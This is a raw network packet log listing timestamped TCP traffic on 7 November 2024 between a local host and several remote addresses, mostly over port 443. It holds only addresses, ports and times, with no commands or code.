Nov 7, 2024 17:25:30.928078890 CET	443	49841	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.932492971 CET	49846	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.932539940 CET	443	49846	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.932602882 CET	49846	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.932879925 CET	443	49842	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.932940960 CET	49846	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.932965040 CET	443	49846	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.933029890 CET	443	49842	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.933137894 CET	49842	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.933137894 CET	49842	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.933168888 CET	49842	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.933180094 CET	443	49842	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.934406042 CET	443	49843	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.934470892 CET	443	49843	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.934530020 CET	49843	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.934539080 CET	443	49843	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.934549093 CET	443	49843	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.934648037 CET	49843	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.934765100 CET	49843	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.934772015 CET	443	49843	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.934781075 CET	49843	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.934784889 CET	443	49843	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.937004089 CET	49847	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.937041998 CET	443	49847	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.937098980 CET	49847	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.937355042 CET	49848	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.937381983 CET	443	49848	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.937436104 CET	49848	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.937505007 CET	49847	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.937519073 CET	443	49847	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.937551975 CET	49848	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.937573910 CET	443	49848	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.966077089 CET	443	49844	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.966146946 CET	443	49844	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.966196060 CET	49844	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.970724106 CET	49844	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.970736980 CET	443	49844	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.970752001 CET	49844	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.970758915 CET	443	49844	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.974828005 CET	49849	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.974864960 CET	443	49849	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.974951029 CET	49849	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.975135088 CET	49849	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.975142956 CET	443	49849	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.524992943 CET	443	49845	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.526571035 CET	49845	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.526599884 CET	443	49845	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.527085066 CET	49845	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.527101040 CET	443	49845	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.653254986 CET	443	49845	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.653326988 CET	443	49845	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.653410912 CET	49845	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.657334089 CET	49845	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.657366037 CET	443	49845	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.657373905 CET	49845	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.657380104 CET	443	49845	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.680208921 CET	49850	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.680237055 CET	443	49850	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.680330992 CET	49850	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.682782888 CET	443	49848	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.684261084 CET	443	49847	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.699599028 CET	443	49846	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.703526020 CET	49850	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.703546047 CET	443	49850	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.703938961 CET	49848	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.703948975 CET	443	49848	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.704793930 CET	49848	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.704798937 CET	443	49848	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.705498934 CET	49847	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.705530882 CET	443	49847	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.705899954 CET	49847	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.705909967 CET	443	49847	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.710593939 CET	49846	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.710637093 CET	443	49846	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.710999012 CET	49846	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.711011887 CET	443	49846	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.765805006 CET	443	49849	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.769546986 CET	49849	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.769568920 CET	443	49849	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.770246029 CET	49849	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.770251036 CET	443	49849	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.831998110 CET	443	49848	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.832287073 CET	443	49848	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.833152056 CET	49848	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.834485054 CET	443	49847	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.834944963 CET	443	49847	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.834995985 CET	443	49847	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.835009098 CET	49847	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.835269928 CET	49847	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.842092991 CET	443	49846	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.842168093 CET	443	49846	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.842354059 CET	49846	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.845830917 CET	49848	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.845830917 CET	49848	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.845848083 CET	443	49848	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.845865965 CET	443	49848	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.847650051 CET	49847	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.847650051 CET	49847	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.847673893 CET	443	49847	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.847682953 CET	443	49847	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.847949028 CET	49846	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.847949028 CET	49846	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.847971916 CET	443	49846	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.847980022 CET	443	49846	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.850203037 CET	49851	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.850241899 CET	443	49851	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.850394011 CET	49851	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.857089996 CET	49852	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.857120991 CET	443	49852	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.857281923 CET	49852	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.878601074 CET	49851	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.878616095 CET	443	49851	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.881450891 CET	49852	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.881464958 CET	443	49852	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.891550064 CET	49853	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.891588926 CET	443	49853	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.891654015 CET	49853	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.891856909 CET	49853	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.891871929 CET	443	49853	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.901623964 CET	443	49849	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.902053118 CET	443	49849	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.903048992 CET	49849	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.904105902 CET	49849	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.904105902 CET	49849	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.904123068 CET	443	49849	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.904134035 CET	443	49849	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.921417952 CET	49854	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.921461105 CET	443	49854	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:31.921591043 CET	49854	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.923118114 CET	49854	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:31.923141003 CET	443	49854	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:32.438668966 CET	443	49850	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:32.487732887 CET	49850	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:32.487755060 CET	443	49850	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:32.488173962 CET	49850	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:32.488178968 CET	443	49850	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:32.617747068 CET	443	49850	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:32.617816925 CET	443	49850	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:32.617989063 CET	49850	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:32.619913101 CET	443	49851	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:32.621315002 CET	443	49852	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:32.623473883 CET	443	49853	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:32.647537947 CET	443	49854	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:32.664717913 CET	49852	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:32.664717913 CET	49853	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:32.664741039 CET	49851	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:32.695954084 CET	49854	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.263488054 CET	49854	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.263504982 CET	443	49854	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.263730049 CET	49851	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.263746977 CET	443	49851	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.264523983 CET	49854	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.264529943 CET	443	49854	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.264632940 CET	49851	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.264647007 CET	443	49851	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.264935970 CET	49850	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.264952898 CET	443	49850	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.264965057 CET	49850	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.264970064 CET	443	49850	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.265346050 CET	49852	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.265357018 CET	443	49852	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.265762091 CET	49852	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.265765905 CET	443	49852	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.266463041 CET	49853	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.266477108 CET	443	49853	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.267405987 CET	49853	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.267410994 CET	443	49853	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.389206886 CET	443	49851	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.389259100 CET	443	49851	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.389316082 CET	49851	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.389347076 CET	443	49851	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.389373064 CET	443	49851	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.389440060 CET	49851	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.394499063 CET	443	49853	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.394527912 CET	443	49853	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.394582033 CET	49853	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.394593000 CET	443	49853	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.394637108 CET	49853	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.421336889 CET	443	49852	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.421540022 CET	443	49852	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.421598911 CET	49852	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.451035023 CET	443	49854	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.451123953 CET	443	49854	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.451179028 CET	49854	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.631630898 CET	49851	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.631633043 CET	49853	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.631654978 CET	443	49851	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.631664038 CET	443	49853	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.631669044 CET	49851	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.631676912 CET	443	49851	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.631678104 CET	49853	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.631685019 CET	443	49853	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.633502960 CET	49852	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.633521080 CET	443	49852	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.633569956 CET	49852	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.633575916 CET	443	49852	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.633984089 CET	49854	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.633999109 CET	443	49854	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.634007931 CET	49854	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.634011984 CET	443	49854	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.659506083 CET	49855	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.659545898 CET	443	49855	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.659617901 CET	49855	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.743607044 CET	49855	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.743658066 CET	443	49855	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.782820940 CET	49856	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.782872915 CET	443	49856	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.782974005 CET	49856	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.784204960 CET	49857	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.784240961 CET	443	49857	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.784312010 CET	49857	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.861170053 CET	49856	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.861203909 CET	443	49856	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:33.861594915 CET	49857	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:33.861614943 CET	443	49857	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.007922888 CET	49862	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.007972956 CET	443	49862	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.008090019 CET	49862	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.088227987 CET	49863	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.088264942 CET	443	49863	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.088334084 CET	49863	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.094877958 CET	49862	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.094903946 CET	443	49862	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.183491945 CET	49866	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:34.183542967 CET	443	49866	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:34.183644056 CET	49866	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:34.185527086 CET	49867	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:34.185550928 CET	443	49867	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:34.185610056 CET	49867	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:34.186165094 CET	49866	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:34.186182976 CET	443	49866	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:34.186439037 CET	49867	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:34.186453104 CET	443	49867	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:34.195513964 CET	49863	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.195540905 CET	443	49863	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.203509092 CET	49711	443	192.168.2.6	40.126.32.133
Nov 7, 2024 17:25:34.203553915 CET	49711	443	192.168.2.6	40.126.32.133
Nov 7, 2024 17:25:34.208627939 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.208641052 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.208656073 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.208672047 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.209089041 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.492489100 CET	443	49855	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.549823999 CET	49855	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.549843073 CET	443	49855	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.550440073 CET	49855	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.550443888 CET	443	49855	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.584331989 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.584403038 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.584415913 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.584439039 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.584456921 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.584469080 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.584481955 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.584491968 CET	49711	443	192.168.2.6	40.126.32.133
Nov 7, 2024 17:25:34.584530115 CET	49711	443	192.168.2.6	40.126.32.133
Nov 7, 2024 17:25:34.585201979 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.585227013 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.585239887 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.585248947 CET	49711	443	192.168.2.6	40.126.32.133
Nov 7, 2024 17:25:34.585278034 CET	49711	443	192.168.2.6	40.126.32.133
Nov 7, 2024 17:25:34.585571051 CET	443	49711	40.126.32.133	192.168.2.6
Nov 7, 2024 17:25:34.620722055 CET	443	49857	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.624890089 CET	443	49856	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.664496899 CET	49857	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.664515972 CET	443	49857	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.664545059 CET	49856	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.664566040 CET	443	49856	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.665106058 CET	49856	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.665112019 CET	443	49856	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.665153980 CET	49857	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.665174007 CET	443	49857	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.665286064 CET	49711	443	192.168.2.6	40.126.32.133
Nov 7, 2024 17:25:34.675039053 CET	443	49855	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.675163031 CET	443	49855	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.675293922 CET	49855	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.676204920 CET	49855	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.676213026 CET	443	49855	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.676228046 CET	49855	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.676234007 CET	443	49855	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.791765928 CET	443	49856	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.791877031 CET	443	49856	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.791959047 CET	49856	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.792707920 CET	443	49857	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.792735100 CET	443	49857	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.792788982 CET	443	49857	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.792823076 CET	49857	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.792845964 CET	49857	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.816838026 CET	443	49862	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.820821047 CET	49856	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.820841074 CET	443	49856	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.829667091 CET	49857	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.829698086 CET	443	49857	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.829713106 CET	49857	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.829720020 CET	443	49857	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.903220892 CET	49862	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.903240919 CET	443	49862	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.903815031 CET	49862	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.903820038 CET	443	49862	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.911263943 CET	49868	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.911319017 CET	443	49868	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.911451101 CET	49868	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.922348976 CET	49869	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.922388077 CET	443	49869	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.922751904 CET	49869	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.922964096 CET	49869	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.922980070 CET	443	49869	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.924734116 CET	49868	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.924761057 CET	443	49868	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.925991058 CET	49870	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.926018953 CET	443	49870	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.926296949 CET	49870	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.926465034 CET	49870	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.926474094 CET	443	49870	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.929357052 CET	443	49863	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.944776058 CET	49863	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.944791079 CET	443	49863	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:34.945270061 CET	49863	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:34.945274115 CET	443	49863	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.027452946 CET	443	49862	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.027544975 CET	443	49862	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.027606010 CET	49862	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.072350025 CET	443	49863	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.072628021 CET	443	49863	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.072686911 CET	49863	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.086694002 CET	49862	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.086720943 CET	443	49862	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.086731911 CET	49862	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.086739063 CET	443	49862	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.139940023 CET	49863	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.139960051 CET	443	49863	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.139972925 CET	49863	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.139977932 CET	443	49863	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.247787952 CET	443	49867	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:35.277559996 CET	80	49829	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:35.277642965 CET	49829	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:35.298433065 CET	49867	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:35.298451900 CET	443	49867	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:35.299779892 CET	443	49867	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:35.299856901 CET	49867	443	192.168.2.6	94.245.104.56
